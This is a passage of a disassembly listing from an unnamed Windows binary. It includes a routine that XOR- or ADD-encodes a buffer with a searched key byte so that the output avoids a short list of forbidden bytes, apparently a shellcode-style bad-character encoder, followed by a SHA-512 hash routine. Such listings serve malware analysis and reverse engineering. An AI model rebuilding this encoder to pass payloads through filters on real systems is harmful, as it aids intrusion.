arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 0Ch
cmp [ebp+arg_0], 1
push esi
push edi
mov [ebp+var_2], 1
mov [ebp+var_1], 0
jnz loc_414239
mov eax, [ebp+arg_8]
lea esi, [eax+18h]
and eax, 80000001h
mov [ebp+var_8], esi
jns short loc_41414E
dec eax
or eax, 0FFFFFFFEh
inc eax
loc_41414E: ; CODE XREF: sub_41411F+28j
jz short loc_414154
mov [ebp+var_1], 1
loc_414154: ; CODE XREF: sub_41411F:loc_41414Ej
mov eax, 172h
cmp esi, eax
jle short loc_414167
cmp [ebp+var_1], 1
jnz loc_414324
loc_414167: ; CODE XREF: sub_41411F+3Cj
lea ecx, [esi+1]
cmp ecx, eax
mov [ebp+var_C], ecx
jle short loc_414181
cmp [ebp+var_1], 1
jnz short loc_414181
jmp loc_414324
; ---------------------------------------------------------------------------
loc_41417C: ; CODE XREF: sub_41411F+EDj
mov eax, 172h
loc_414181: ; CODE XREF: sub_41411F+50j
; sub_41411F+56j
inc [ebp+var_2]
and [ebp+arg_0], 0
push eax ; size_t
push 0 ; int
push ebx ; void *
call _memset
add esp, 0Ch
push 6
pop ecx
mov esi, offset dword_424894
mov edi, ebx
rep movsd
mov cl, [ebp+var_2]
xor edi, edi
cmp [ebp+arg_8], edi
mov [ebx+0Eh], cl
mov [ebx+12h], cl
jle short loc_4141C8
loc_4141B0: ; CODE XREF: sub_41411F+A7j
mov esi, [ebp+arg_0]
mov eax, [ebp+arg_4]
mov al, [esi+eax]
add al, cl
mov [ebx+esi+18h], al
inc esi
cmp esi, [ebp+arg_8]
mov [ebp+arg_0], esi
jl short loc_4141B0
loc_4141C8: ; CODE XREF: sub_41411F+8Fj
cmp [ebp+var_1], 1
jnz short loc_4141D5
mov eax, [ebp+arg_0]
mov [eax+ebx+18h], cl
loc_4141D5: ; CODE XREF: sub_41411F+ADj
cmp [ebp+var_8], edi
mov byte ptr [ebp+arg_0+3], 1
jle short loc_414217
loc_4141DE: ; CODE XREF: sub_41411F+E2j
mov dl, [edi+ebx]
xor esi, esi
loc_4141E3: ; CODE XREF: sub_41411F+D0j
mov eax, [ebp+arg_C]
cmp dl, [esi+eax]
jz short loc_4141F3
inc esi
cmp esi, 8
jl short loc_4141E3
jmp short loc_4141F7
; ---------------------------------------------------------------------------
loc_4141F3: ; CODE XREF: sub_41411F+CAj
mov byte ptr [ebp+arg_0+3], 0
loc_4141F7: ; CODE XREF: sub_41411F+D2j
cmp byte ptr [ebp+arg_0+3], 0
jz short loc_414203
inc edi
cmp edi, [ebp+var_8]
jl short loc_4141DE
loc_414203: ; CODE XREF: sub_41411F+DCj
cmp byte ptr [ebp+arg_0+3], 1
jz short loc_414217
cmp cl, 0FFh
jb loc_41417C
jmp loc_414324
; ---------------------------------------------------------------------------
loc_414217: ; CODE XREF: sub_41411F+BDj
; sub_41411F+E8j ...
cmp [ebp+var_1], 1
jnz short loc_414226
mov eax, [ebp+var_C]
inc [ebp+arg_8]
mov [ebp+var_8], eax
loc_414226: ; CODE XREF: sub_41411F+FCj
mov eax, [ebp+arg_8]
cdq
sub eax, edx
sar eax, 1
mov [ebx+3], al
mov eax, [ebp+var_8]
jmp loc_414326
; ---------------------------------------------------------------------------
loc_414239: ; CODE XREF: sub_41411F+14j
cmp [ebp+arg_0], 2
jnz loc_414324
mov eax, [ebp+arg_8]
lea esi, [eax+18h]
and eax, 80000001h
mov [ebp+var_8], esi
jns short loc_414258
dec eax
or eax, 0FFFFFFFEh
inc eax
loc_414258: ; CODE XREF: sub_41411F+132j
jz short loc_41425E
mov [ebp+var_1], 1
loc_41425E: ; CODE XREF: sub_41411F:loc_414258j
mov eax, 172h
cmp esi, eax
jle short loc_414271
cmp [ebp+var_1], 1
jnz loc_414324
loc_414271: ; CODE XREF: sub_41411F+146j
lea ecx, [esi+1]
cmp ecx, eax
mov [ebp+var_C], ecx
jle short loc_41428B
cmp [ebp+var_1], 1
jnz short loc_41428B
jmp loc_414324
; ---------------------------------------------------------------------------
loc_414286: ; CODE XREF: sub_41411F+1FFj
mov eax, 172h
loc_41428B: ; CODE XREF: sub_41411F+15Aj
; sub_41411F+160j
inc [ebp+var_2]
and [ebp+arg_0], 0
push eax ; size_t
push 0 ; int
push ebx ; void *
call _memset
add esp, 0Ch
push 6
pop ecx
mov esi, offset dword_4248B0
mov edi, ebx
rep movsd
mov cl, [ebp+var_2]
xor edi, edi
cmp [ebp+arg_8], edi
mov [ebx+0Eh], cl
mov [ebx+12h], cl
jle short loc_4142D2
loc_4142BA: ; CODE XREF: sub_41411F+1B1j
mov esi, [ebp+arg_0]
mov eax, [ebp+arg_4]
mov al, [esi+eax]
xor al, cl
mov [ebx+esi+18h], al
inc esi
cmp esi, [ebp+arg_8]
mov [ebp+arg_0], esi
jl short loc_4142BA
loc_4142D2: ; CODE XREF: sub_41411F+199j
cmp [ebp+var_1], 1
jnz short loc_4142DF
mov eax, [ebp+arg_0]
mov [eax+ebx+18h], cl
loc_4142DF: ; CODE XREF: sub_41411F+1B7j
cmp [ebp+var_8], edi
mov byte ptr [ebp+arg_0+3], 1
jle loc_414217
loc_4142EC: ; CODE XREF: sub_41411F+1F0j
mov dl, [edi+ebx]
xor esi, esi
loc_4142F1: ; CODE XREF: sub_41411F+1DEj
mov eax, [ebp+arg_C]
cmp dl, [esi+eax]
jz short loc_414301
inc esi
cmp esi, 8
jl short loc_4142F1
jmp short loc_414305
; ---------------------------------------------------------------------------
loc_414301: ; CODE XREF: sub_41411F+1D8j
mov byte ptr [ebp+arg_0+3], 0
loc_414305: ; CODE XREF: sub_41411F+1E0j
cmp byte ptr [ebp+arg_0+3], 0
jz short loc_414311
inc edi
cmp edi, [ebp+var_8]
jl short loc_4142EC
loc_414311: ; CODE XREF: sub_41411F+1EAj
cmp byte ptr [ebp+arg_0+3], 1
jz loc_414217
cmp cl, 0FFh
jb loc_414286
loc_414324: ; CODE XREF: sub_41411F+42j
; sub_41411F+58j ...
xor eax, eax
loc_414326: ; CODE XREF: sub_41411F+115j
pop edi
pop esi
leave
retn
sub_41411F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_41432A(void *,int)
sub_41432A proc near ; CODE XREF: sub_41A5C1+19Fp
; .text:0041AE6Ep
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, [ebp+arg_4]
lea edx, [eax+1]
loc_414333: ; CODE XREF: sub_41432A+Ej
mov cl, [eax]
inc eax
test cl, cl
jnz short loc_414333
sub eax, edx
push ebx
lea ebx, [eax+0CCh]
cmp ebx, 172h
jg short loc_414393
push esi
push edi
mov edi, [ebp+arg_0]
push ebx ; size_t
push 0 ; int
push edi ; void *
call _memset
mov eax, [ebp+arg_4]
add esp, 0Ch
push 32h
pop ecx
mov esi, offset dword_4248D0
rep movsd
movsw
movsb
lea esi, [eax+1]
loc_41436F: ; CODE XREF: sub_41432A+4Aj
mov cl, [eax]
inc eax
test cl, cl
jnz short loc_41436F
sub eax, esi
push eax
mov eax, [ebp+arg_0]
push [ebp+arg_4]
add eax, 0CAh
push eax
call unknown_libname_61 ; Microsoft VisualC 2-8/net runtime
add esp, 0Ch
pop edi
mov eax, ebx
pop esi
jmp short loc_414395
; ---------------------------------------------------------------------------
loc_414393: ; CODE XREF: sub_41432A+1Fj
xor eax, eax
loc_414395: ; CODE XREF: sub_41432A+67j
pop ebx
pop ebp
retn
sub_41432A endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_4143A0 proc near ; CODE XREF: sub_41B7F9+64p
xor ecx, ecx
push esi
push edi
mov [eax+8], ecx
mov [eax+0Ch], ecx
mov [eax], ecx
mov [eax+4], ecx
lea edi, [eax+10h]
mov ecx, 10h
mov esi, offset dword_41FE50
rep movsd
pop edi
pop esi
retn
sub_4143A0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_4143D0 proc near ; CODE XREF: sub_416AE0+BEp
; sub_416AE0+13Bp ...
var_160 = dword ptr -160h
var_15C = dword ptr -15Ch
var_158 = dword ptr -158h
var_154 = dword ptr -154h
var_150 = dword ptr -150h
var_14C = dword ptr -14Ch
var_148 = dword ptr -148h
var_144 = dword ptr -144h
var_140 = dword ptr -140h
var_13C = dword ptr -13Ch
var_138 = dword ptr -138h
var_134 = dword ptr -134h
var_130 = dword ptr -130h
var_12C = dword ptr -12Ch
var_128 = dword ptr -128h
var_124 = dword ptr -124h
var_120 = dword ptr -120h
var_11C = dword ptr -11Ch
var_118 = dword ptr -118h
var_114 = dword ptr -114h
var_110 = dword ptr -110h
var_10C = dword ptr -10Ch
var_108 = dword ptr -108h
var_104 = dword ptr -104h
var_100 = dword ptr -100h
var_FC = dword ptr -0FCh
var_F8 = dword ptr -0F8h
var_F4 = dword ptr -0F4h
var_F0 = dword ptr -0F0h
var_EC = dword ptr -0ECh
var_E8 = dword ptr -0E8h
var_E4 = dword ptr -0E4h
var_E0 = dword ptr -0E0h
var_DC = dword ptr -0DCh
var_D8 = dword ptr -0D8h
var_D4 = dword ptr -0D4h
var_D0 = dword ptr -0D0h
var_CC = dword ptr -0CCh
var_C8 = dword ptr -0C8h
var_C4 = dword ptr -0C4h
var_C0 = dword ptr -0C0h
var_BC = dword ptr -0BCh
var_B8 = dword ptr -0B8h
var_B4 = dword ptr -0B4h
var_B0 = dword ptr -0B0h
var_AC = dword ptr -0ACh
var_A8 = dword ptr -0A8h
var_A4 = dword ptr -0A4h
var_A0 = dword ptr -0A0h
var_9C = dword ptr -9Ch
var_98 = dword ptr -98h
var_94 = dword ptr -94h
var_90 = dword ptr -90h
var_8C = dword ptr -8Ch
var_88 = dword ptr -88h
var_84 = dword ptr -84h
var_80 = dword ptr -80h
var_7C = dword ptr -7Ch
var_78 = dword ptr -78h
var_74 = dword ptr -74h
var_70 = dword ptr -70h
var_6C = dword ptr -6Ch
var_68 = dword ptr -68h
var_64 = dword ptr -64h
var_60 = dword ptr -60h
var_5C = dword ptr -5Ch
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
sub esp, 160h
mov eax, [esp+160h+arg_0]
mov edx, [eax+54h]
push ebx
mov [esp+164h+var_FC], edx
mov edx, [eax+5Ch]
push ebp
push esi
mov [esp+16Ch+var_10C], edx
mov edx, [eax+64h]
push edi
lea esi, [eax+10h]
mov [esp+170h+var_4], esi
mov ecx, 10h
lea edi, [esp+170h+var_158]
rep movsd
mov ecx, [eax+50h]
mov [esp+170h+var_100], ecx
mov ecx, [eax+58h]
mov [esp+170h+var_110], ecx
mov ecx, [eax+60h]
mov [esp+170h+var_108], ecx
mov ecx, [eax+68h]
mov [esp+170h+var_104], edx
mov edx, [eax+6Ch]
mov [esp+170h+var_B8], ecx
mov ecx, [eax+70h]
mov [esp+170h+var_B4], edx
mov edx, [eax+74h]
mov [esp+170h+var_A8], ecx
mov ecx, [eax+78h]
mov [esp+170h+var_A4], edx
mov edx, [eax+7Ch]
mov [esp+170h+var_D0], ecx
mov ecx, [eax+80h]
mov [esp+170h+var_CC], edx
mov edx, [eax+84h]
mov esi, [eax+0C4h]
mov [esp+170h+var_D8], ecx
mov ecx, [eax+88h]
mov [esp+170h+var_D4], edx
mov edx, [eax+8Ch]
mov [esp+170h+var_118], ecx
mov ecx, [eax+90h]
mov [esp+170h+var_114], edx
mov edx, [eax+94h]
mov [esp+170h+var_C8], ecx
mov ecx, [eax+98h]
mov [esp+170h+var_C4], edx
mov edx, [eax+9Ch]
mov [esp+170h+var_F0], ecx
mov ecx, [eax+0A0h]
mov [esp+170h+var_EC], edx
mov edx, [eax+0A4h]
mov [esp+170h+var_E8], ecx
mov ecx, [eax+0A8h]
mov [esp+170h+var_E4], edx
mov edx, [eax+0ACh]
mov [esp+170h+var_F8], ecx
mov ecx, [eax+0B0h]
mov [esp+170h+var_F4], edx
mov edx, [eax+0B4h]
mov [esp+170h+var_B0], ecx
mov ecx, [eax+0B8h]
mov [esp+170h+var_AC], edx
mov edx, [eax+0BCh]
mov [esp+170h+var_C0], ecx
mov ecx, [eax+0C0h]
mov [esp+170h+var_BC], edx
mov edx, [eax+0C8h]
mov eax, [eax+0CCh]
xor edi, edi
mov [esp+170h+var_15C], edi
mov [esp+170h+var_A0], ecx
mov [esp+170h+var_9C], esi
mov [esp+170h+var_E0], edx
mov [esp+170h+var_DC], eax
jmp short loc_41456E
; ---------------------------------------------------------------------------
align 10h
loc_414560: ; CODE XREF: sub_4143D0+2680j
mov ecx, [esp+170h+var_A0]
mov esi, [esp+170h+var_9C]
loc_41456E: ; CODE XREF: sub_4143D0+18Aj
test edi, edi
mov eax, [esp+170h+var_138]
mov edx, [esp+170h+var_134]
jz loc_414658
mov edi, ecx
xor eax, eax
mov ebx, esi
shrd edi, ebx, 13h
or eax, edi
mov ebp, ecx
mov edx, ecx
mov edi, esi
shld esi, ebp, 3
shr ebx, 13h
shl edx, 0Dh
or edx, ebx
add ebp, ebp
xor ebx, ebx
or ebx, esi
mov esi, [esp+170h+var_9C]
shrd ecx, esi, 6
add ebp, ebp
add ebp, ebp
shr edi, 1Dh
or edi, ebp
xor eax, edi
xor eax, ecx
mov ecx, [esp+170h+var_10C]
xor edx, ebx
mov [esp+170h+var_160], eax
mov eax, [esp+170h+var_110]
mov ebp, ecx
mov ebx, eax
shrd ebx, ebp, 8
shr esi, 6
xor edx, esi
xor edi, edi
or edi, ebx
mov esi, eax
mov ebx, eax
shrd eax, ecx, 1
shl esi, 18h
shr ebp, 8
or esi, ebp
shr ecx, 1
xor ebp, ebp
or ebp, eax
mov eax, [esp+170h+var_10C]
shl ebx, 1Fh
or ebx, ecx
mov ecx, [esp+170h+var_110]
shrd ecx, eax, 7
shr eax, 7
xor edi, ebp
xor esi, ebx
xor esi, eax
mov eax, [esp+170h+arg_0]
xor edi, ecx
mov ecx, [esp+170h+var_160]
add ecx, edi
adc edx, esi
add ecx, [esp+170h+var_100]
adc edx, [esp+170h+var_FC]
add ecx, [esp+170h+var_F0]
adc edx, [esp+170h+var_EC]
mov [eax+50h], ecx
mov [eax+54h], edx
mov eax, edx
mov edx, [esp+170h+var_134]
mov [esp+170h+var_FC], eax
mov [esp+170h+var_54], eax
mov eax, [esp+170h+var_138]
mov [esp+170h+var_100], ecx
mov [esp+170h+var_58], ecx
jmp short loc_41466E
; ---------------------------------------------------------------------------
loc_414658: ; CODE XREF: sub_4143D0+1A8j
mov ecx, [esp+170h+var_100]
mov [esp+170h+var_58], ecx
mov ecx, [esp+170h+var_FC]
mov [esp+170h+var_54], ecx
loc_41466E: ; CODE XREF: sub_4143D0+286j
mov ebx, edx
mov esi, edx
xor edi, edi
mov ecx, eax
shld ebx, ecx, 17h
or edi, ebx
shl ecx, 17h
xor ebx, ebx
shr esi, 9
or esi, ecx
mov ebp, eax
shrd ebp, edx, 12h
or ebx, ebp
mov ebp, [esp+170h+var_134]
xor esi, ebx
shr edx, 12h
mov ecx, eax
shl ecx, 0Eh
or ecx, edx
xor edi, ecx
xor ecx, ecx
mov ebx, eax
shrd ebx, ebp, 0Eh
or ecx, ebx
xor esi, ecx
mov ecx, [esp+170h+var_134]
shr ebp, 0Eh
mov edx, eax
shl edx, 12h
or edx, ebp
mov ebp, [esp+170h+var_130]
xor edi, edx
and ebp, eax
mov edx, eax
mov eax, [esp+170h+var_12C]
and eax, ecx
mov ebx, ecx
mov ecx, [esp+170h+var_11C]
not edx
and edx, [esp+170h+var_128]
not ebx
and ebx, [esp+170h+var_124]
xor edx, ebp
xor ebx, eax
mov eax, [esp+170h+var_15C]
add esi, edx
adc edi, ebx
add esi, ds:dword_41F950[eax*8]
adc edi, ds:dword_41F954[eax*8]
add esi, [esp+170h+var_58]
mov eax, [esp+170h+var_120]
adc edi, [esp+170h+var_54]
add eax, esi
adc ecx, edi
add [esp+170h+var_140], eax
mov [esp+170h+var_11C], ecx
mov [esp+170h+var_120], eax
adc [esp+170h+var_13C], ecx
mov eax, [esp+170h+var_154]
mov ecx, [esp+170h+var_158]
mov edx, ecx
mov esi, ecx
mov ebx, eax
shrd edx, ebx, 1Ch
xor edi, edi
or edi, edx
mov ebp, eax
shld ebp, ecx, 1Eh
shr ebx, 1Ch
shl esi, 4
or esi, ebx
mov edx, eax
shl ecx, 1Eh
shr edx, 2
xor ebx, ebx
or edx, ecx
or ebx, ebp
mov ecx, eax
xor edi, edx
xor esi, ebx
shr ecx, 7
mov ebx, [esp+170h+var_158]
mov ebp, eax
shld ebp, ebx, 19h
shl ebx, 19h
or ecx, ebx
xor edx, edx
or edx, ebp
mov ebp, [esp+170h+var_14C]
xor edi, ecx
mov ecx, [esp+170h+var_150]
xor esi, edx
mov edx, [esp+170h+var_158]
mov ebx, ecx
xor ebx, edx
and ebx, [esp+170h+var_148]
and ecx, edx
mov edx, [esp+170h+var_14C]
xor ebp, eax
and ebp, [esp+170h+var_144]
and edx, eax
xor ebx, ecx
xor ebp, edx
add edi, ebx
adc esi, ebp
add [esp+170h+var_120], edi
adc [esp+170h+var_11C], esi
cmp [esp+170h+var_15C], 0
jz loc_414884
mov eax, [esp+170h+var_E0]
mov ecx, [esp+170h+var_DC]
mov ebx, ecx
mov edi, eax
shrd edi, ebx, 13h
xor esi, esi
or esi, edi
mov edi, ecx
shr ebx, 13h
mov edx, eax
mov ebp, eax
shld ecx, ebp, 3
shl edx, 0Dh
or edx, ebx
xor ebx, ebx
or ebx, ecx
mov ecx, [esp+170h+var_DC]
shrd eax, ecx, 6
add ebp, ebp
add ebp, ebp
add ebp, ebp
shr edi, 1Dh
or edi, ebp
xor esi, edi
xor esi, eax
mov eax, [esp+170h+var_108]
xor edx, ebx
shr ecx, 6
xor edx, ecx
mov ecx, [esp+170h+var_104]
mov ebp, ecx
mov ebx, eax
shrd ebx, ebp, 8
xor edi, edi
or edi, ebx
mov [esp+170h+var_160], esi
mov esi, eax
mov ebx, eax
shrd eax, ecx, 1
shl esi, 18h
shr ebp, 8
or esi, ebp
shr ecx, 1
xor ebp, ebp
or ebp, eax
mov eax, [esp+170h+var_108]
shl ebx, 1Fh
or ebx, ecx
mov ecx, [esp+170h+var_104]
shrd eax, ecx, 7
shr ecx, 7
xor esi, ebx
xor edi, ebp
xor esi, ecx
mov ecx, [esp+170h+var_160]
xor edi, eax
mov eax, [esp+170h+arg_0]
add ecx, edi
adc edx, esi
add ecx, [esp+170h+var_E8]
adc edx, [esp+170h+var_E4]
add ecx, [esp+170h+var_110]
adc edx, [esp+170h+var_10C]
mov [eax+58h], ecx
mov [eax+5Ch], edx
mov eax, edx
mov [esp+170h+var_110], ecx
mov [esp+170h+var_10C], eax
mov [esp+170h+var_28], ecx
jmp short loc_414893
; ---------------------------------------------------------------------------
loc_414884: ; CODE XREF: sub_4143D0+3D5j
mov edx, [esp+170h+var_110]
mov eax, [esp+170h+var_10C]
mov [esp+170h+var_28], edx
loc_414893: ; CODE XREF: sub_4143D0+4B2j
mov ecx, [esp+170h+var_13C]
mov ebx, ecx
mov [esp+170h+var_24], eax
mov eax, [esp+170h+var_140]
mov edx, ecx
xor esi, esi
shr edx, 9
mov edi, eax
shld ebx, edi, 17h
or esi, ebx
shl edi, 17h
or edx, edi
xor ebx, ebx
mov ebp, eax
shrd ebp, ecx, 12h
or ebx, ebp
mov ebp, [esp+170h+var_13C]
xor edx, ebx
shr ecx, 12h
mov edi, eax
shl edi, 0Eh
or edi, ecx
xor esi, edi
xor edi, edi
mov ebx, eax
shrd ebx, ebp, 0Eh
or edi, ebx
xor edx, edi
shr ebp, 0Eh
mov ecx, eax
shl ecx, 12h
or ecx, ebp
xor esi, ecx
mov ecx, [esp+170h+var_13C]
mov ebx, ecx
and ecx, [esp+170h+var_134]
mov edi, eax
and eax, [esp+170h+var_138]
not ebx
and ebx, [esp+170h+var_12C]
not edi
and edi, [esp+170h+var_130]
xor ebx, ecx
mov ecx, [esp+170h+var_124]
xor edi, eax
mov eax, [esp+170h+var_15C]
add edx, edi
adc esi, ebx
add edx, ds:dword_41F958[eax*8]
adc esi, ds:dword_41F95C[eax*8]
add edx, [esp+170h+var_28]
mov eax, [esp+170h+var_128]
adc esi, [esp+170h+var_24]
add eax, edx
adc ecx, esi
add [esp+170h+var_148], eax
mov [esp+170h+var_124], ecx
mov [esp+170h+var_128], eax
adc [esp+170h+var_144], ecx
mov eax, [esp+170h+var_11C]
mov ecx, [esp+170h+var_120]
mov edx, ecx
mov ebx, eax
shrd edx, ebx, 1Ch
mov esi, ecx
xor edi, edi
or edi, edx
mov ebp, eax
shld ebp, ecx, 1Eh
shr ebx, 1Ch
shl esi, 4
or esi, ebx
mov edx, eax
shl ecx, 1Eh
shr edx, 2
xor ebx, ebx
or edx, ecx
or ebx, ebp
xor edi, edx
xor esi, ebx
mov ecx, eax
mov ebx, [esp+170h+var_120]
xor edx, edx
mov ebp, eax
shld ebp, ebx, 19h
or edx, ebp
mov ebp, [esp+170h+var_154]
shl ebx, 19h
shr ecx, 7
or ecx, ebx
xor esi, edx
mov edx, [esp+170h+var_158]
xor edi, ecx
mov ecx, [esp+170h+var_120]
mov ebx, edx
xor ebx, ecx
and ebx, [esp+170h+var_150]
and edx, ecx
mov ecx, [esp+170h+var_154]
xor ebp, eax
and ebp, [esp+170h+var_14C]
and ecx, eax
xor ebx, edx
xor ebp, ecx
add edi, ebx
adc esi, ebp
add [esp+170h+var_128], edi
adc [esp+170h+var_124], esi
cmp [esp+170h+var_15C], 0
jz loc_414AAE
mov eax, [esp+170h+var_B8]
mov ecx, [esp+170h+var_B4]
mov ebx, ecx
mov edi, eax
shrd edi, ebx, 8
mov ebp, eax
shrd ebp, ecx, 1
xor esi, esi
or esi, edi
shr ecx, 1
mov edi, eax
mov edx, eax
shr ebx, 8
shl edi, 1Fh
or edi, ecx
mov ecx, [esp+170h+var_B4]
shrd eax, ecx, 7
shl edx, 18h
or edx, ebx
xor ebx, ebx
or ebx, ebp
xor esi, ebx
xor esi, eax
mov eax, [esp+170h+var_100]
xor edx, edi
shr ecx, 7
xor edx, ecx
mov ecx, [esp+170h+var_FC]
mov ebx, eax
mov ebp, ecx
shrd ebx, ebp, 13h
xor edi, edi
or edi, ebx
mov ebx, ecx
mov [esp+170h+var_160], esi
mov esi, eax
shld ecx, eax, 3
add eax, eax
add eax, eax
shl esi, 0Dh
shr ebp, 13h
or esi, ebp
add eax, eax
shr ebx, 1Dh
or ebx, eax
mov eax, [esp+170h+var_100]
xor ebp, ebp
or ebp, ecx
mov ecx, [esp+170h+var_FC]
shrd eax, ecx, 6
shr ecx, 6
xor esi, ebp
xor edi, ebx
xor esi, ecx
mov ecx, [esp+170h+var_160]
xor edi, eax
mov eax, [esp+170h+arg_0]
add ecx, edi
adc edx, esi
add ecx, [esp+170h+var_F8]
adc edx, [esp+170h+var_F4]
add ecx, [esp+170h+var_108]
adc edx, [esp+170h+var_104]
mov [eax+60h], ecx
mov [eax+64h], edx
mov eax, edx
mov [esp+170h+var_108], ecx
mov [esp+170h+var_104], eax
mov [esp+170h+var_70], ecx
jmp short loc_414ABD
; ---------------------------------------------------------------------------
loc_414AAE: ; CODE XREF: sub_4143D0+605j
mov edx, [esp+170h+var_108]
mov eax, [esp+170h+var_104]
mov [esp+170h+var_70], edx
loc_414ABD: ; CODE XREF: sub_4143D0+6DCj
mov ecx, [esp+170h+var_144]
mov ebx, ecx
mov [esp+170h+var_6C], eax
mov eax, [esp+170h+var_148]
mov edx, ecx
xor esi, esi
shr edx, 9
mov edi, eax
shld ebx, edi, 17h
or esi, ebx
shl edi, 17h
or edx, edi
xor ebx, ebx
mov ebp, eax
shrd ebp, ecx, 12h
or ebx, ebp
mov ebp, [esp+170h+var_144]
xor edx, ebx
shr ecx, 12h
mov edi, eax
shl edi, 0Eh
or edi, ecx
xor esi, edi
xor edi, edi
mov ebx, eax
shrd ebx, ebp, 0Eh
or edi, ebx
xor edx, edi
shr ebp, 0Eh
mov ecx, eax
shl ecx, 12h
or ecx, ebp
xor esi, ecx
mov ecx, [esp+170h+var_144]
mov ebx, ecx
and ecx, [esp+170h+var_13C]
mov edi, eax
and eax, [esp+170h+var_140]
not ebx
and ebx, [esp+170h+var_134]
not edi
and edi, [esp+170h+var_138]
xor ebx, ecx
mov ecx, [esp+170h+var_12C]
xor edi, eax
mov eax, [esp+170h+var_15C]
add edx, edi
adc esi, ebx
add edx, ds:dword_41F960[eax*8]
adc esi, ds:dword_41F964[eax*8]
add edx, [esp+170h+var_70]
mov eax, [esp+170h+var_130]
adc esi, [esp+170h+var_6C]
add eax, edx
adc ecx, esi
add [esp+170h+var_150], eax
mov [esp+170h+var_12C], ecx
mov [esp+170h+var_130], eax
adc [esp+170h+var_14C], ecx
mov eax, [esp+170h+var_124]
mov ecx, [esp+170h+var_128]
mov edx, ecx
mov ebx, eax
shrd edx, ebx, 1Ch
mov esi, ecx
xor edi, edi
or edi, edx
mov ebp, eax
shld ebp, ecx, 1Eh
shr ebx, 1Ch
shl esi, 4
or esi, ebx
mov edx, eax
shl ecx, 1Eh
shr edx, 2
xor ebx, ebx
or edx, ecx
or ebx, ebp
xor edi, edx
xor esi, ebx
mov ecx, eax
mov ebx, [esp+170h+var_128]
xor edx, edx
mov ebp, eax
shld ebp, ebx, 19h
or edx, ebp
mov ebp, [esp+170h+var_11C]
shl ebx, 19h
shr ecx, 7
or ecx, ebx
xor esi, edx
mov edx, [esp+170h+var_120]
xor edi, ecx
mov ecx, [esp+170h+var_128]
mov ebx, edx
xor ebx, ecx
and ebx, [esp+170h+var_158]
and edx, ecx
mov ecx, [esp+170h+var_11C]
xor ebp, eax
and ebp, [esp+170h+var_154]
and ecx, eax
xor ebx, edx
xor ebp, ecx
add edi, ebx
adc esi, ebp
add [esp+170h+var_130], edi
adc [esp+170h+var_12C], esi
cmp [esp+170h+var_15C], 0
jz loc_414CEA
mov eax, [esp+170h+var_A8]
mov ecx, [esp+170h+var_A4]
mov ebx, ecx
mov edi, eax
shrd edi, ebx, 8
mov ebp, eax
shrd ebp, ecx, 1
xor esi, esi
or esi, edi
shr ecx, 1
mov edi, eax
mov edx, eax
shr ebx, 8
shl edi, 1Fh
or edi, ecx
mov ecx, [esp+170h+var_A4]
shrd eax, ecx, 7
shl edx, 18h
or edx, ebx
xor ebx, ebx
or ebx, ebp
xor esi, ebx
xor esi, eax
mov eax, [esp+170h+var_110]
xor edx, edi
shr ecx, 7
xor edx, ecx
mov ecx, [esp+170h+var_10C]
mov ebx, eax
mov ebp, ecx
shrd ebx, ebp, 13h
xor edi, edi
or edi, ebx
mov ebx, ecx
mov [esp+170h+var_160], esi
mov esi, eax
shld ecx, eax, 3
add eax, eax
add eax, eax
shl esi, 0Dh
shr ebp, 13h
or esi, ebp
add eax, eax
shr ebx, 1Dh
or ebx, eax
mov eax, [esp+170h+var_110]
xor ebp, ebp
or ebp, ecx
mov ecx, [esp+170h+var_10C]
shrd eax, ecx, 6
shr ecx, 6
xor esi, ebp
xor edi, ebx
xor esi, ecx
mov ecx, [esp+170h+var_160]
xor edi, eax
mov eax, [esp+170h+arg_0]
add ecx, edi
adc edx, esi
add ecx, [esp+170h+var_B0]
adc edx, [esp+170h+var_AC]
add ecx, [esp+170h+var_B8]
adc edx, [esp+170h+var_B4]
mov [eax+68h], ecx
mov [eax+6Ch], edx
mov eax, edx
mov [esp+170h+var_B8], ecx
mov [esp+170h+var_B4], eax
mov [esp+170h+var_38], ecx
jmp short loc_414CFF
; ---------------------------------------------------------------------------
loc_414CEA: ; CODE XREF: sub_4143D0+82Fj
mov edx, [esp+170h+var_B8]
mov eax, [esp+170h+var_B4]
mov [esp+170h+var_38], edx
loc_414CFF: ; CODE XREF: sub_4143D0+918j
mov ecx, [esp+170h+var_14C]
mov ebx, ecx
mov [esp+170h+var_34], eax
mov eax, [esp+170h+var_150]
xor esi, esi
mov edx, ecx
mov edi, eax
shld ebx, edi, 17h
or esi, ebx
shl edi, 17h
xor ebx, ebx
shr edx, 9
or edx, edi
mov ebp, eax
shrd ebp, ecx, 12h
or ebx, ebp
mov ebp, [esp+170h+var_14C]
xor edx, ebx
shr ecx, 12h
mov edi, eax
shl edi, 0Eh
or edi, ecx
xor esi, edi
mov ebx, eax
shrd ebx, ebp, 0Eh
xor edi, edi
or edi, ebx
xor edx, edi
shr ebp, 0Eh
mov ecx, eax
shl ecx, 12h
or ecx, ebp
mov ebp, [esp+170h+var_148]
xor esi, ecx
mov ecx, [esp+170h+var_14C]
and ebp, eax
mov edi, eax
mov eax, [esp+170h+var_144]
and eax, ecx
mov ebx, ecx
mov ecx, [esp+170h+var_134]
not ebx
and ebx, [esp+170h+var_13C]
not edi
and edi, [esp+170h+var_140]
xor ebx, eax
mov eax, [esp+170h+var_15C]
xor edi, ebp
add edx, edi
adc esi, ebx
add edx, ds:dword_41F968[eax*8]
adc esi, ds:dword_41F96C[eax*8]
add edx, [esp+170h+var_38]
mov eax, [esp+170h+var_138]
adc esi, [esp+170h+var_34]
add eax, edx
adc ecx, esi
add [esp+170h+var_158], eax
mov [esp+170h+var_134], ecx
